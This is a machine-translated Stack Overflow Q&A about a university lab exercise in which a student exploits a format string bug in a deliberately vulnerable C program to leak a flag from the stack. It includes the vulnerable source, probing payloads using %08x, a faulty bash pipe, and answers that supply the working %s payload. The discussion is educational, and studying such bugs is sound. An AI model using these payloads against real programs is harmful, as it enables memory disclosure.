如何使用格式字符串漏洞从堆栈中读取任意指针?

问题描述:

我试图从CSCI 4971 course了解逆向工程,我正在努力解决一个特定的实验问题(fmt_string)。如何使用格式字符串漏洞从堆栈中读取任意指针?

我应该在某处找到并打印出旗帜商店。这里的源代码的样子:

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <string.h> 

#define LINK "\x1b\x5b" "34m" 
#define RESET "\x1b\x5b" "0m" 


int main() 
{ 
    char buf[256]; 
    char *blah = (char *)0xdeadbeef; 
    char *pointer = flag; 
    char *xblah = (char *)0x1337c0de; 

    printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET 
     "Nobody really cared though until this exploit for ProFTPD was\n" 
     "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n" 
     "\n" 
     "In this challenge you do not need code execution. The flag is\n" 
     "somewhere in memory. There is a pointer to it on the stack. You\n" 
     "must use this pointer to dump the flag...\n" 
     "\n" 
     "You will retrieve it by passing in format string specifiers to\n" 
     "the printf() function\n" 
     "\n" 
     "After class read this article by rebel for fmt string leetness\n" 
     LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n" 
     "\n" 
     "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n" 
     "\n oh, and man printf\n" 
     "\n" 
     "\n" 
     ); 

    while(1) 
    { 
    printf("> "); 
    fgets(buf, sizeof(buf), stdin); 
    printf(buf); 
    } 

} 

这是我走近这个问题:我知道,输入%x将打印出存储在堆栈中的数据。所以当我输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x,我得到输出AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141,这是我的预期。

最后4个字节41414141是4个字节的开头,4个字节deadbeef1337c0de是在源代码中硬编码的。现在,我很确定该标志存储在地址080c90a0

然而,当我运行this bash command,我不能让国旗:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 

我得到的是:

000000.> �� 
      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
.00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                  .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
         .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
           .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
             .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
               .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                 .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                   .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 

请帮助我了解我在做什么错,为什么我得到这个输出,我应该怎么做才能得到这个标志?

+0

这个任务听起来像是无稽之谈,因为它假设1)某个分配顺序2)没有优化完成。 – Lundin

+0

“运行命令'$ printf ...'”???这是一个shell命令吗?或者你的意思是你输入的? –

+1

@PaulOgilvie那是shell命令。 –

你的bash命令printf甚至从来没有遇到你的C程序。 ./fmt_string位于双引号内,作为printf内建参数的一部分。

在我的桌面上(在没有所谓fmt_string文件的目录),我得到:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 
�� 
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string 

这是从你显示输出不同,所以也许你没抄你居然跑的命令?


也许你实际上跑过printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string。如果没有管道,它打印:

�� 
.00000000.00000000.00000000.00000000.00000000.00000000. 

因为你没有做任何事情,从你打印字符串中解释% S停止printf内置。使用printf '%s\n' ...,或使用echo。具有讽刺意味的是,你尝试测试一个格式字符串漏洞被格式字符串的错误处理所击败。

通过程序输出的管道printf会逐字打印,因为它不再有任何printf元字符。在这种情况下,fgets/printf循环只是将stdin复制到stdout,即使它具有二进制垃圾。


至于真正找到其中flag存储在堆栈中,gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less编译,并期待在海湾合作委员会的意见,看看它把你想要的指针。

(我假设你的攻击只能针对与-O0编译的代码,否则指针将永远不会被保存在栈上。)

IDK如果你使用-m32与否。如果不是,那么printf的前6个整数参数将传入整数寄存器(在x86-64 System V ABI中),所以您需要先通过它们。

查看关于ABI doc链接的标签wiki。我假设你在使用printfbash命令的Linux上。

+0

这是为什么downvoted?这完美地解释了OP从尝试将格式字符串传送到C程序失败的输出中看到的输出。 –

您的第一次尝试指示指针存储在第5个位置。

只需用合适的格式代码替换第5个%08x,具体取决于指向位置的数据。如果标志指向一个字符串,然后%s是合适的:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x 

预期输出:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141 
+0

感谢您指出简单的方法来做到这一点! –